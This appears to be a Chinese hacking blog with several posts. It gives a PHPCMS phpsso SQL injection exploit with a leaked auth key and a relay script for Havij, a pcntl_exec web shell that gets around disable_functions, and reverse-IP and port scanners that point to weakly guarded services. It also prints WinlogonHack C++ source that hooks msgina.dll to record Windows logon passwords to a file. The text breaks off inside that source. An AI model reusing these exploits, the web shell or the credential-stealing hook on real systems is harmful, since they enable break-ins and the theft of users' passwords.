http://www.2cto.com/phpsso_server/index.php?m=phpsso&c=index&a=getapplist&auth_data=v=1&appid=1&data=662dCAZSAwgFUlUJBAxbVQJXVghTWVQHVFMEV1MRX11cBFMKBFMGHkUROlhBTVFuW1FJBAUVBwIXRlgeERUHQVlIUVJAA0lRXABSQEwNXAhZVl5V

1.png

phpsso_auth_key: 0tagvqnxuq1x8x4jvaziib7yx4e9ibnl

由于GPC off,于是就可以sql注入了。


使用authkey加密payload:

<?php

function sys_auth($string, $operation = 'ENCODE', $key = '', $expiry = 0) {

    $key_length = 4;

    $key = md5($key != '' ? $key : pc_base::load_config('system', 'auth_key'));

    $fixedkey = md5($key);

    $egiskeys = md5(substr($fixedkey, 16, 16));

    $runtokey = $key_length ? ($operation == 'ENCODE' ? substr(md5(microtime(true)), -$key_length) : substr($string, 0, $key_length)) : '';

    $keys = md5(substr($runtokey, 0, 16) . substr($fixedkey, 0, 16) . substr($runtokey, 16) . substr($fixedkey, 16));

    $string = $operation == 'ENCODE' ? sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$egiskeys), 0, 16) . $string : base64_decode(substr($string, $key_length));

    $i = 0; $result = '';
    $string_length = strlen($string);
    for ($i = 0; $i < $string_length; $i++){
            $result .= chr(ord($string{$i}) ^ ord($keys{$i % 32}));
    }

    if($operation == 'ENCODE') {

            return $runtokey . str_replace('=', '', base64_encode($result));

    } else {

            if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$egiskeys), 0, 16)) {

                    return substr($result, 26);

            } else {

                    return '';

            }
    }
}

echo sys_auth("action=synlogin&uid=' and updatexml(1,concat('~',user()),1)#", 'ENCODE', '0tagvqnxuq1x8x4jvaziib7yx4e9ibnl');
http://www.2cto.com/api.php?op=phpsso&code=6f56BQgIUVQDVAkGUwEFCgwDAwNSAVBdA1UHD1RSURFZDlgIS0EPCFwDUFhFFl1dCBMWVlkHE0xDUFJDBktfCRhQGlZXVgIFR0weSERPQUpQRh4eHk8CEBA

2.png

看到有人说是phpcms authkey 无法注入。于是噌噌噌的搞了一个中转的脚本

<?php
set_time_limit(0);
$wang_url = 'http://www.0day5.com';

$auth_key = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxx';

$str = "uid=1".stripslashes($_GET['id']);
$encode = sys_auth($str, 'ENCODE', $auth_key);
$content = file_get_contents($wang_url."/phpsso_server/?m=phpsso&c=index&a=getuserinfo&appid=1&data=".$encode);
echo $content;
function sys_auth($string, $operation = 'ENCODE', $key = '', $expiry = 0) {
         $key_length = 4;
         $key = md5($key);
         $fixedkey = hash('md5', $key);
         $egiskeys = md5(substr($fixedkey, 16, 16));
         $runtokey = $key_length ? ($operation == 'ENCODE' ? substr(hash('md5', microtime(true)), -$key_length) : substr($string, 0, $key_length)) : '';
         $keys = hash('md5', substr($runtokey, 0, 16) . substr($fixedkey, 0, 16) . substr($runtokey, 16) . substr($fixedkey, 16));
         $string = $operation == 'ENCODE' ? sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$egiskeys), 0, 16) . $string : base64_decode(substr($string, $key_length));
         $i = 0; $result = '';
         $string_length = strlen($string);
         for ($i = 0; $i < $string_length; $i++){
                   $result .= chr(ord($string{$i}) ^ ord($keys{$i % 32}));
         }
         if($operation == 'ENCODE') {
                   return $runtokey . str_replace('=', '', base64_encode($result));
         } else {
                   if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$egiskeys), 0, 16)) {
                            return substr($result, 26);
                   } else {
                            return '';
                   }
         }
}
?>

使用的办法就是填写目标的www还有key。然后丢到havij里面跑就好了

py抓取并验证可用代理脚本

发布时间:May 18, 2015 // 分类:工作日志,代码学习,python // No Comments

抓取的是kjson.com的代理,代理的质量一般般。

#/usr/bin/python
#coding:utf8
import urllib2
from optparse import OptionParser
import sys,time,random,re
from pyquery import PyQuery as jq

def proxy_craw(target,output):
    w = open(output,'a')
    data = urllib2.urlopen('http://www.kjson.com/proxy/index/' + str(target)).read()
    c = jq(data)
    for tr in c('.proxy-table').find('.plist'):
        data_id = jq(tr).find('a').attr('data-id')
        if checkproxy(data_id):
                wr = jq(tr).find('td').eq(0).text() + u"\t"
                print wr
                port = jq(tr).find('.enport').text()
                wr += str(decodes(port)) + "\t"
                wr += jq(tr).find('td').eq(2).text() + "\t"
                wr += jq(tr).find('td').eq(6).text() + "\r\n"
                w.write(wr.encode('utf-8'))
        else:
                continue
    w.close()

def checkproxy(dataid):
        m = random.randint(1,999999)
        data = urllib2.urlopen('http://www.kjson.com//proxy/vproxy/?rnd=' + str(m) + '&id=' + dataid).read()
        res = re.findall(r'(\w*[0-9]+)\w*',data)
        if res[0] == '1':
                return True
        else:
                return False

def decodes(code):
    str1 = 'ABCDEFGHIG'
    a = code
    c = []
    p = 0
    l = len(a)
    for i in a:
        c.append(str1.index(i))
    t = ''
    for i in c:
        t += str(i)
    p = int(t)
    return  int(p) >> 2

if __name__ == "__main__":
    parser = OptionParser()
    parser.add_option("-o","--output",dest="filename",
                      help="Export File name",metavar="FILE")
    (opts,args) = parser.parse_args()
    filename = opts.filename
    p = jq(url='http://www.kjson.com/proxy/index/1')
    endstr = p('.page a').eq(11).attr('href') #獲取尾頁
    end = int(endstr[13:])
    for PageNum in range(1,end + 1):
        if PageNum/40 == 0:
            time.sleep(3)
        try:
            proxy_craw(PageNum,filename)
        except KeyboardInterrupt:
            exit()

使用办法

python kjson.com_proxy_crawer.py -o out.txt

python实现的Bing查询

发布时间:May 15, 2015 // 分类:工作日志,运维工作,代码学习,python // No Comments

import re
import requests


r = requests.get('http://www.bing.com/search?q=ip:'+ip+'&count=50')
responseHtml = r.content
match = re.findall(r'<li class=\"b_algo\"><h2><a href=\"(.*?)\"', responseHtml)
#print match
for val in match:
    print val

继续进行批量查询

#-*- coding: utf-8 -*-
import socket
import sys
import json
import requests
import re
import time
import thread
  
def scan(ip_str):
    '''
    检测扫描端口是否开启
    然后利用bing旁站进行遍历
    '''
    port = '80'
    cs=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    address=(str(ip_str),int(port))
    status = cs.connect_ex((address))
    #若返回的结果为0表示端口开启
    if(status == 0):
        print ip_str
        res = requests.get('http://www.bing.com/search?q=ip:'+ip_str+'&count=50')
        match = re.findall(r'<li class=\"b_algo\"><h2><a href=\"(.*?)\"', res.content)
        for val in match:
            print val
    cs.close()
       
def find_ip(ip_prefix):
    '''
    给出当前的192.168.1 ,然后扫描整个段所有地址
    '''
    for i in range(1,256):
        ip = '%s.%s'%(ip_prefix,i)
        thread.start_new_thread(scan, (ip,))
        time.sleep(0.3)
        
if __name__ == "__main__":
    commandargs = sys.argv[1:]
    args = "".join(commandargs)    
      
    ip_prefix = '.'.join(args.split('.')[:-1])
    find_ip(ip_prefix)

附加上另外一个验证的脚本

Uses Bing search engine to identify (and validate) websites hosted on the same web server

#!/usr/bin/python

import socket, sys, re, urllib2, StringIO, gzip, zlib
from bs4 import BeautifulSoup
import tldextract

if len(sys.argv) <> 2:
    print '\n[!] Two arguments required.'
    print 'Example: python neighbs.py www.website.com'
    print 'Example: python neighbs.py 1.2.3.4'
    sys.exit()
else:
    sharedHost = sys.argv[1]
    duplicateCheckList = []

def validateHostIP(target):
    isIP = re.match("^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$", target)
    isHostName = re.match("^(([a-zA-Z]|[a-zA-Z][a-zA-Z0-9\-]*[a-zA-Z0-9])\.)*([A-Za-z]|[A-Za-z][A-Za-z0-9\-]*[A-Za-z0-9])$", target)
    if isIP:
        return 'IP'
    elif isHostName:
        return 'HOSTNAME'
    else:
        return False

def resolve(target):
    if hasattr(socket, 'setdefaulttimeout'):
        socket.setdefaulttimeout(3)
    try:
        peos = socket.gethostbyaddr(target)
        return peos[2][0]
    except:
        return False

def make_requests(sharedTarget):
    response = [None]
    responseText = None

    for requests in range (1, 101):
        if(request_www_bing_com(response, requests, sharedTarget)):
            responseText = read_response(response[0])
            soup = BeautifulSoup(responseText)
            for A in soup.find_all('a', href=True):
                domain = str('.'.join(list(tldextract.extract(A['href']))[:10]))
                if not domain.startswith('.') and not len(domain) < 4:
                    if domain not in duplicateCheckList:
                        if resolve(sharedHost) == resolve(domain):
                            duplicateCheckList.append(domain)
                            print '[+] '+domain
                domain = ''
            
            response[0].close()

def read_response(response):
    if response.info().get('Content-Encoding') == 'gzip':
        buf = StringIO.StringIO(response.read())
        return gzip.GzipFile(fileobj=buf).read()

    elif response.info().get('Content-Encoding') == 'deflate':
        decompress = zlib.decompressobj(-zlib.MAX_WBITS)
        inflated = decompress.decompress(response.read())
        inflated += decompress.flush()
        return inflated

    return response.read()

def request_www_bing_com(response, requests, sharedTarget):
    response[0] = None
    try:
        req = urllib2.Request("http://www.bing.com/search?q=ip%3A"+str(sharedTarget)+"&first="+str(requests))

        req.add_header("User-Agent", "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0")
        req.add_header("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8")
        req.add_header("Accept-Language", "en-US,en;q=0.5")
        req.add_header("Accept-Encoding", "gzip, deflate")
        req.add_header("Referer", "http://www.bing.com/")
        req.add_header("Cookie", "_EDGE_V=1; MUID=1A8733283AE36E853EB935873BA66FEF; SRCHD=AF=NOFORM; SRCHUID=V=2&GUID=DF63C8A66FB64714818DCF4DFC12DEE1; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20140908; MUIDB=1A8733283AE36E853EB935873BA66FEF; SRCHHPGUSR=CW=1280&CH=887; _RwBf=s=70&o=16; _HOP=; _SS=SID=BCC8BCA1D49C412281A16C56834A77B5&bIm=819187; SCRHDN=ASD=0&DURL=#; WLS=TS=63547515929")
        req.add_header("Connection", "keep-alive")

        response[0] = urllib2.urlopen(req)

    except urllib2.URLError, e:
        if not hasattr(e, "code"):
            return False
        response[0] = e
    except:
        return False

    return True

print '\n[*] Scanning for shared hosts. Please wait...'
print '------------------------------------------------'
if validateHostIP(sharedHost) == 'IP':
    make_requests(sharedHost)
elif validateHostIP(sharedHost) == 'HOSTNAME':
    make_requests(resolve(sharedHost))
else:
    print 'Something went wrong. Try again.'
print '------------------------------------------------'
print '[*] '+str(len(duplicateCheckList))+' unique domains found and verified to be on the same server.'

This script is OS agnostic. Takes one param, HOSTNAME or IP of the target. For example...

python neighbs.py www.green-apple.gr

or

python neighbs.py 176.9.145.29

For any libs that are missing, use pip to install.

C:\tools\Projects\PYTHON>python neighbs.py www.green-apple.gr

[*] Scanning for shared hosts. Please wait...
------------------------------------------------
[+] www.restozorba.be
[+] www.hotelmelissa.gr
[+] www.epiplotexan.gr
[+] www.n-everalone.com
[+] www.proedriki-froura.gr
[+] www.zpalace.gr
[+] www.green-apple.gr
[+] www.ktelxanthis.gr
[+] www.foititisweb.gr
[+] www.hotelnessos.gr
[+] www.tosteki.gr
[+] www.gashome.gr
[+] www.raptopoulos-stores.gr
[+] www.ksxanthi.gr
[+] www.olang.gr
[+] www.promoaction.gr
[+] www.kokkalas.co.gr
[+] www.inside.com.gr
[+] www.makka.gr
[+] www.christospoulios.gr
[+] www.outsis.gr
[+] www.velkopoulosgas.gr
[+] www.carnivalxanthi.gr
[+] www.serrespress.gr
[+] www.mpatsakis.gr
[+] www.moumtzaki.gr
[+] www.kopsidas.com.gr
[+] pse.co.gr
[+] www.krista.gr
[+] www.findgas.gr
[+] www.ippokratiskamaridis.gr
[+] www.vion.gr
------------------------------------------------
[*] 32 unique domains found and verified to be on the same server.

C:\tools\Projects\PYTHON>

Penetrating in to target machines by using shared hosts' vulnerabilities is not always legal even if you have a signed contract with the target. Make sure the shared hosts you're attacking belong to the same person/company before doing anything stupid.

php利用pcntl_exec突破disable_functions

发布时间:May 12, 2015 // 分类:PHP,代码学习,linux // No Comments

偶遇虚拟主机。发现服务器对disable_functions做了比较变态的设置


 

passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,fsocket

仔细看了下,发现了常用的执行命令的函数都给禁止了。尝试mail和bash去执行都失效了.搜索了下发现一个pcntl_exec函数是可以执行命令的。在这里http://php.net/manual/zh/function.pcntl-exec.php看到了相关的说明

pcntl_exec

(PHP 4 >= 4.2.0, PHP 5)
pcntl_exec — 在当前进程空间执行指定程序

说明

void pcntl_exec ( string $path [, array $args [, array $envs ]] )
以给定参数执行程序。

参数

path
path必须时可执行二进制文件路径或一个在文件第一行指定了 一个可执行文件路径标头的脚本(比如文件第一行是#!/usr/local/bin/perl的perl脚本)。 更多的信息请查看您系统的execve(2)手册。

args
args是一个要传递给程序的参数的字符串数组。

envs
envs是一个要传递给程序作为环境变量的字符串数组。这个数组是 key => value格式的,key代表要传递的环境变量的名称,value代表该环境变量值。

返回值

当发生错误时返回 FALSE ,没有错误时没有返回。

void pcntl_exec ( string $path [, array $args [, array $envs ]] )
在当前的进程空间中执行指定程序,类似于c中的exec族函数。所谓当前空间,即载入指定程序的代码覆盖掉当前进程的空间,执行完该程序进程即结束。

<?php
$dir = '/var/tmp/';
$cmd = 'ls';
$option = '-l';
$pathtobin = '/bin/bash';

$arg = array($cmd, $option, $dir);

pcntl_exec($pathtobin, $arg);
echo '123';    //不会执行到该行
?>
<?php
$cmd = @$_REQUEST[cmd];
if(function_exists('pcntl_exec')) {
    $cmd = $cmd."&pkill -9 bash >out"; //执行完毕当前的命令。结束掉bash,方便下一次继续执行
    pcntl_exec("/bin/bash", $cmd);    //可能会造成假死。因为pcntl_exec一直处于等待的状态
    echo file_get_contents("out");        
} else {
        echo '不支持pcntl扩展';
}
?>

最后的最后,居然发现这个函数还是被刷过CVE的存在

https://bugs.php.net/bug.php?id=68598

Python简陋的端口扫描

发布时间:May 7, 2015 // 分类:工作日志,运维工作,代码学习,python // No Comments

主要是用在一些linux机器没有装自带的nmap的时候使用的

#-*- coding: utf-8 -*-
'''
探查网段内开放的常见端口
'''
import thread
import socket
import sys
import os
import time

ports = '21,22,23,25,53,67,80,81,82,110,1433,1521,1526,3306,3389,4899,8580'
ports += ',873'         # rsync default port
ports += ',443,465,993,995' # ssl services port
    # https tcp-443
    # imaps tcp-993
    # pop3s tcp-995
    # smtps tcp-465
ports += ',2049'         #NFS linux网络共享服务   
ports += ',2082,2083'   # cpanel主机管理系统登陆 (国外用较多)​
ports += ',2222'        # DA虚拟主机管理系统登陆 (国外用较多)​
ports += ',2601,2604'   # zebra路由,默认密码zebra 
ports += ',3128'        # squid代理默认端口,如果没设置口令很可能就直接漫游内网了 
ports += ',3312,3311'   # kangle主机管理系统登陆
ports += ',4440'        # rundeck  参考WooYun: 借用新浪某服务成功漫游新浪内网
ports += ',5432,5631'
ports += ',6082'        # varnish  参考WooYun: Varnish HTTP accelerator CLI 未授权访问易导致网站被直接篡改或者作为代理进入内网 
ports += ',6379'        # redis 一般无认证,可直接访问
ports += ',7001'        # weblogic,默认弱口令
ports += ',7778'        # Kloxo主机控制面板登录​
ports += ',8000'        # 8000-9090都是一些常见的web端口,有些运维喜欢把管理后台开在这些非80的端口上
ports += ',8001'
ports += ',8002' 
ports += ',8080'        # tomcat/WDCP主机管理系统 默认端口
ports += ',8081'
ports += ',8888'        # amh/LuManager 主机管理系统默认端口
ports += ',8083'        # Vestacp主机管理系统​​ (国外用较多)
ports += ',8089'        # jboss端口 历史曾经爆漏洞/可弱口令
ports += ',9200'        # elasticsearch port
ports += ',10000'       # Virtualmin/Webmin 服务器虚拟主机管理系统
ports += ',11211'       # memcache  未授权访问
ports += ',14147'
ports += ',28017,27017' # mongodb default port
ports += ',43958'

def scan(host):
    ListTmp = ports.split(',')
    for port in ListTmp:
        cs=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        address=(str(host),int(port))
        status = cs.connect_ex((address))
        if(status == 0):
            print "%s port %s open"%(host,port)
        cs.close()

def find_ip(ip_prefix):
    '''
    给出当前的192.168.1 ,然后扫描整个段所有地址
    '''
    for i in range(1,256):
        ip = '%s.%s'%(ip_prefix,i)
        thread.start_new_thread(scan, (ip,))
        time.sleep(0.3)     

if __name__ == "__main__":
    commandargs = sys.argv[1:]
    args = "".join(commandargs)
    ip_prefix = '.'.join(args.split('.')[:-1])
    find_ip(ip_prefix)

关于hook自带的msgina.dll截取系统密码

发布时间:May 5, 2015 // 分类:代码学习,VC/C/C++,windows // No Comments

Windows的开机密码认证模块一般是由Gina DLL完成的。在NT/2000中交互式的登陆支持是由WinLogon调用GINA DLL实现的,GINA DLL提供了一个交互式的界面为用户登陆提供认证请求。

1.Gina原理
WinLogon会和GINA DLL进行交互,缺省是MSGINA.DLL(在System32目录下)。微软同时也为我们提供了接口,我们可以自己编写GINA DLL来代替MSGINA.DLL。
WinLogon初始化时会创建3个桌面:
(1) winlogon桌面:主要显示Windows 安全等界面,如你按下CTRL+ALT+DEL,登陆的界面等
(2) 应用程序桌面:我们平时见到的那个有我的电脑的界面
(3) 屏幕保护桌面:屏幕保护显示界面。
在默认情况下,GINA显示登陆对话框,用户输入用户名及密码 。所以要获得用户名和密码 ,则可以写一个新的GINA DLL,其中提供接口调用msgina.dll的函数WlxLoggedOutSAS。
2.Gina DLL导出函数
在NT/2000 中交互式的登陆支持是由WinLogon调用GINA DLL实现的,GINA DLL提供了一个交互式的界面为用户登陆提供认证请求。GINA DLL要输出下列函数(Winlogon会调用):
(1) WlxActivateUserShell:激活用户外壳程序。
(2) WlxDisplayLockedNotice:允许GINA DLL显示锁定信息。
(3) WlxDisplaySASNotice:当没有用户登陆时,Winlogon调用此函数。
(4) WlxDisplayStatusMessage:Winlogon用一个状态信息调用此函数进行显示。
(5) WlxGetStatusMessage:Winlogon 调用此函数获取当前状态信息。
(6) WlxInitialize:针对指定的窗口位置进行GINA DLL初始化。
(7) WlxIsLockOk:验证工作站正常锁定。
(8) WlxIslogoffOk:验证注销正常。
(9) WlxLoggedOnSAS:用户已登陆并且工作站没有被加锁,如果此时接收到SAS事件,则Winlogon 调用此函数。
(10) WlxLoggedOutSAS:没有用户登陆,如果此时收到SAS事件,则Winlogon调用此函数。
(11) WlxLogoff:请求注销操作时通知GINA DLL。
(12) WlxNegotiate:表示当前的Winlogon版本是否能使用GINA DLL。
(13) WlxNetworkProviderLoad:在加载网络服务提供程序收集了身份和认证信息后,Winlogon 调用此函数。
(14) WlxRemoveStatusMessage:Winlogon调用此函数告诉GINA DLL停止显示状态信息。
(15) WlxScreensaverNotify:允许GINA与屏幕保护操作交互。
(16) WlxShutdown:在关闭之前Winlogon 调用此函数,允许GINA实现任何关闭任务,例如从读卡器中退出智能卡。
(17) WlxStartApplication:当系统需要在用户的上下文中启动应用程序时调用此函数。
(18) WlxWkstaLockedSAS:当工作站被锁定,如果接收到一个SAS,则Winlogon调用此函数。
我们通过对上述的18个基本函数进行重写,来实现USB身份认证系统的Windows登录身份认证。

关于msgina.dll可以查看百科的介绍http://baike.baidu.com/view/662342.htm

关于截取的原理就是:系统启动后会自动加载dll,而dll在加载时会hook掉WlxLoggedOutSAS,系统登录时winlogon会加载WlxLoggedOutSAS函数,这个函数输出值中有PWLX_MPR_NOTIFY_INFO结构,其中就存储了用户名和密码。winlogon在登录时会调用这个函数,我们HOOK掉了这个函数,所以就能拿到登录的用户名和密码了。

实现的过程就是:

生成dll文件,并把这个文件复制到系统目录。并把文件加入到注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\wminotify里面。不用重启, 当有3389登上时,自动加载DLL,并且记录登录密码! 保存为boot.dat文件.

来自WinlogonHack,并且附上自己解读的源码:

// Hookmsgina.cpp : Defines the entry point for the DLL application.
/*
系统启动后会自动加载dll,而dll在加载时会hook掉WlxLoggedOutSAS,系统登录时winlogon会加载WlxLoggedOutSAS函数,这个函数输出值中有
PWLX_MPR_NOTIFY_INFO 
结构,其中就存储了用户名和密码。winlogon在登录时会调用这个函数,我们HOOK掉了这个函数,所以就能拿到登录的用户名和密码了
*/

#include "stdafx.h"
#include <tchar.h>
//宏定义
#define WLX_SAS_ACTION_LOGON  (1)

//WLX_MPR_NOTIFY_INFO结构
typedef struct _WLX_MPR_NOTIFY_INFO {   
    PWSTR           pszUserName;    
    PWSTR           pszDomain;  
    PWSTR           pszPassword;    
    PWSTR           pszOldPassword;
} WLX_MPR_NOTIFY_INFO, * PWLX_MPR_NOTIFY_INFO;

//函数原形
// GINA DLLs are ignored in Windows Vista
typedef int (WINAPI* WlxLoggedOutSAS)(
                                      PVOID                   pWlxContext, // pointer to GINA context
                                      DWORD                   dwSasType,   // Indicates that a user has typed the standard CTRL+ALT+DEL SAS.....
                                      PLUID                   pAuthenticationId,
                                      PSID                    pLogonSid,
                                      PDWORD                  pdwOptions,
                                      PHANDLE                 phToken,
                                      PWLX_MPR_NOTIFY_INFO    pNprNotifyInfo,
                                      PVOID *                 pProfile
);


DWORD WINAPI StartHookWlxLoggedOutSAS(LPVOID lpParameter);

//自定义接管的API函数,形参保持一致  
int   WINAPI FunNewWlxLoggedOutSAS( PVOID  pWlxContext,DWORD dwSasType,PLUID pAuthenticationId,PSID  pLogonSid,
                                PDWORD                  pdwOptions,
                                PHANDLE                 phToken,
                                PWLX_MPR_NOTIFY_INFO    pNprNotifyInfo,
                                PVOID *                 pProfile);
void WriteLog(  PWLX_MPR_NOTIFY_INFO    pNprNotifyInfo);  // WLX_MPR_NOTIFY_INFOv
int WideToByte( PCHAR sz_target, PWSTR sz_source , int size_ansi);
void WriteCurrentTime(HANDLE hfile);
void HookWlxLoggedOutSAS();
void UnHookWlxLoggedOutSAS();

//定义字节对齐方式
#pragma pack(1)
  
struct HookTable{
    HMODULE         hMsgina;
    WlxLoggedOutSAS OldWlxLoggedOutSAS; // --->原始WlxLoggedOutSAS函数入口 -----> 修改前的WlxLoggedOutSAS函数指针
    WlxLoggedOutSAS NewWlxLoggedOutSAS; // --->自定义的函数
    unsigned char   OldCode[6];     /* mov edi,edi      \x8B\xFF
                                       push ebp         \x55
                                       mov ebp,esp      \x8B\xEC
                                    */
    unsigned char   JmpCode[6];     /* 
                                        \xE9\x00\x00\x00\x00
                                    */
};
//全局hook表
HookTable hooktable = {  
                        0 ,
                        0 ,                       // 初始化 OldWlxLoggedOutSAS为0
                        &FunNewWlxLoggedOutSAS ,  // 设置新的WlxLoggedOutSAS指针
                        "\x8B\xFF\x55\x8B\xEC" ,
                        "\xE9\x00\x00\x00\x00"   // 跳转到接下来的一条指令 "\xE9\x00\x00\x00\x00",
                        };
/*
------------------------------------
XP,2003系统中msgina.dll的入口点如下:
\x8B\xFF       mov  edi,edi
\x55           push ebp
\x8B\xEC       mov  ebp,esp


2000系统中msgina.dll的入口如下:
\x8B\xCO       mov  eax,eax
\x55           push ebp
\x8B\xEC       mov  ebp,esp


GINA DLLS are ignored in Windows Wista
------------------------------------
*/
#pragma pack()


BOOL APIENTRY DllMain( HANDLE hModule, 
                       DWORD  ul_reason_for_call, 
                       LPVOID lpReserved
                     )
/************************************************************************/  
/* 函数说明:DLL的主函数                                             */  
/* 参数:                                                              */  
/* 返回值:                                                             */  
/************************************************************************/                       
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
         HANDLE hthread = CreateThread( 0 , 
             0 , 
             LPTHREAD_START_ROUTINE(StartHookWlxLoggedOutSAS) , 
             0 , 
             0 , 
             0);
         CloseHandle( hthread );
        break;  // 此处如果不从DLL返回到系统进程空间,将导致故障
    }
    return TRUE;
}



DWORD WINAPI StartHookWlxLoggedOutSAS(LPVOID lpParameter)
/************************************************************************/  
/* 函数说明:得到WlxLoggedOutSAS函数地址,并HOOK WlxLoggedOutSAS函数    */  
/* 参数:无                                                             */  
/* 返回值:0表示成功                                                    */  
/************************************************************************/  
{
    //得到msgina.dll  
    //hooktable.hMsgina  
    hooktable.hMsgina = GetModuleHandle( _T("msgina.dll"));
    if ( hooktable.hMsgina == NULL)
    {
        return 0 ;
    }
    //得到WlxLoggedOutSAS
    hooktable.OldWlxLoggedOutSAS = (WlxLoggedOutSAS)GetProcAddress( hooktable.hMsgina , _T("WlxLoggedOutSAS") );
    ////得到原始函数地址,等下撤销HOOK会用到 
    if (hooktable.OldWlxLoggedOutSAS == NULL)
    {
        return 0 ;
    }
    /*
    WlxLoggedOutSAS函数的入口:
    758D679B >    8BFF          mov     edi, edi
    758D679D   .  55            push    ebp
    758D679E   .  8BEC          mov     ebp, esp
    758D67A0   .  83EC 40       sub     esp, 40
    */    
    unsigned char *p = (unsigned char *)hooktable.OldWlxLoggedOutSAS;
    // 根据版本选择 msgina.dll WlxLoggedOutSAS入口代码
    for (int i=0 ;  i < 4 ; i++ )   // "\x8B\xFF\x55\x8B\xEC"总计5个字节
    {
        if (p[i] != hooktable.OldCode[i])  
        // 检测获取的WlxLoggedOutSAS入口数据是非与设定的数据相同[设定的是xp,2003版本]
        {
            return 0;
        }
    }
     //----------------重定位新的WlxLoggedOut入口点------------------
    int *OpCode = (int *)&hooktable.JmpCode[1];  // OpCode ---->75--[8D679B]   此处的Jmp[1]=00
    int Code = (int)hooktable.NewWlxLoggedOutSAS - (int)hooktable.OldWlxLoggedOutSAS - 5;
    // OpCode ---->75--[8D679B]   此处的Jmp[1]=00 

    *OpCode = Code;

    /*
    OpCode[0] = (BYTE)(Code & 0xff);
    OpCode[1] = (BYTE)((Code>>8) & 0xff);
    OpCode[2] = (BYTE)((Code>>16) & 0xff);
    OpCode[3] = (BYTE)((Code>>24)& 0xff);
    */

    HookWlxLoggedOutSAS();

    return 0;
}

void HookWlxLoggedOutSAS()
/************************************************************************/  
/* 函数说明:HOOK WlxLoggedOutSAS函数                                  */  
/* 参数:无                                                             */  
/* 返回值:无                                                           */  
/************************************************************************/  
{
    DWORD OldProtect = NULL;

    VirtualProtect( hooktable.OldWlxLoggedOutSAS ,
        5 ,
        PAGE_EXECUTE_READWRITE ,
        &OldProtect
        );  //OldProtect返回一个内存属性值

    unsigned char *p = (unsigned char *)hooktable.OldWlxLoggedOutSAS;
    
    for (int i=0 ;  i < 5 ; i++ )
    {
        p[i] = hooktable.JmpCode[i];  //现在JmpCode相当于E9 00 00 00 00   JmpCode[i]
    }

    VirtualProtect( hooktable.OldWlxLoggedOutSAS , 
        5 ,
        OldProtect ,
        &OldProtect 
        ); //将内存属性还原.

    return;
}

void UnHookWlxLoggedOutSAS()
/************************************************************************/  
/* 函数说明:HOOK WlxLoggedOutSAS函数                                   */  
/* 参数:无                                                             */  
/* 返回值:无                                                           */  
/************************************************************************/
{
    DWORD OldProtect = NULL;
    VirtualProtect( hooktable.OldWlxLoggedOutSAS ,
        5 , 
        PAGE_EXECUTE_READWRITE ,
        &OldProtect );
    
    unsigned char *p = (unsigned char *)hooktable.OldWlxLoggedOutSAS;
    
    for (int i=0 ;  i < 5 ; i++ ) // hook后将入口改回去
    {
        p[i] = hooktable.OldCode[i]; //hooktable[1]
    }
    
    VirtualProtect( hooktable.OldWlxLoggedOutSAS ,
        5 ,
        OldProtect ,
        &OldProtect );
    
    return;
}

void WriteLog(PWLX_MPR_NOTIFY_INFO    pNprNotifyInfo)
/************************************************************************/  
/* 函数说明:将得到的用户名和密码信息写入文件中                       */  
/* 参数:pNprNotifyInfo 包含用户名和密码的结构体                        */  
/* 返回值:无                                                           */  
/************************************************************************/  
{
    int size_u = lstrlenW( pNprNotifyInfo->pszUserName );
    size_u += lstrlenW( pNprNotifyInfo->pszDomain );
    size_u += lstrlenW( pNprNotifyInfo->pszPassword );
    size_u += lstrlenW( pNprNotifyInfo->pszOldPassword );
    
    unsigned short *pWBuffer = (unsigned short *)GlobalAlloc( GMEM_FIXED , size_u + 1024 );
    char *pBuffer = (char *)GlobalAlloc( GMEM_FIXED , size_u + 1024 );
    
    ZeroMemory( pWBuffer  , size_u + 1024 );
    ZeroMemory( pBuffer  , size_u + 1024 ); // pWBuffer ------> pBuffer
    
    if ( !pBuffer )
    {
        return;
    }else
    {   //写进记录 八卦下,这里似乎也是可以调用socket来远程发送
        wsprintfW( pWBuffer ,
            L"\r\nUser    = %s \r\nDomain  = %s \r\nPass    = %s \r\nOldPass = %s\r\n\r\n" ,
            pNprNotifyInfo->pszUserName , //账号
            pNprNotifyInfo->pszDomain ,   //当前的组或域
            pNprNotifyInfo->pszPassword , //密码
            pNprNotifyInfo->pszOldPassword //旧密码
            );
        
        WideToByte( pBuffer ,
            pWBuffer ,
            lstrlenW( pWBuffer )
            );
    }
    char LogPath[MAX_PATH] = {0};
    GetSystemDirectory( LogPath , MAX_PATH); // 密码文件
    lstrcat( LogPath , "\\boot.dat"); //写进boot.dat里面
    HANDLE hfile = CreateFile(
        LogPath , 
        GENERIC_WRITE , 
        FILE_SHARE_WRITE ,
        0 ,
        OPEN_ALWAYS,
        FILE_ATTRIBUTE_NORMAL ,
        0  );
    if (hfile != INVALID_HANDLE_VALUE)
    {
        unsigned long ret;
        SetFilePointer( hfile , -1 ,  0 , FILE_END);
        
        WriteCurrentTime( hfile );
        WriteFile( hfile , pBuffer , lstrlen( pBuffer ) ,  &ret , 0 );
        
        CloseHandle( hfile );
    }else
    {
        GetLastError();
    }
    
    GlobalFree( pWBuffer );
    GlobalFree( pBuffer  );
    return; // 返回到原线程
}
//记录SAS事件的事件
void WriteCurrentTime(HANDLE hfile)
{
    SYSTEMTIME st;
    DWORD ret = 0;
    
    GetLocalTime(&st);
    char buffer[200] ={0};
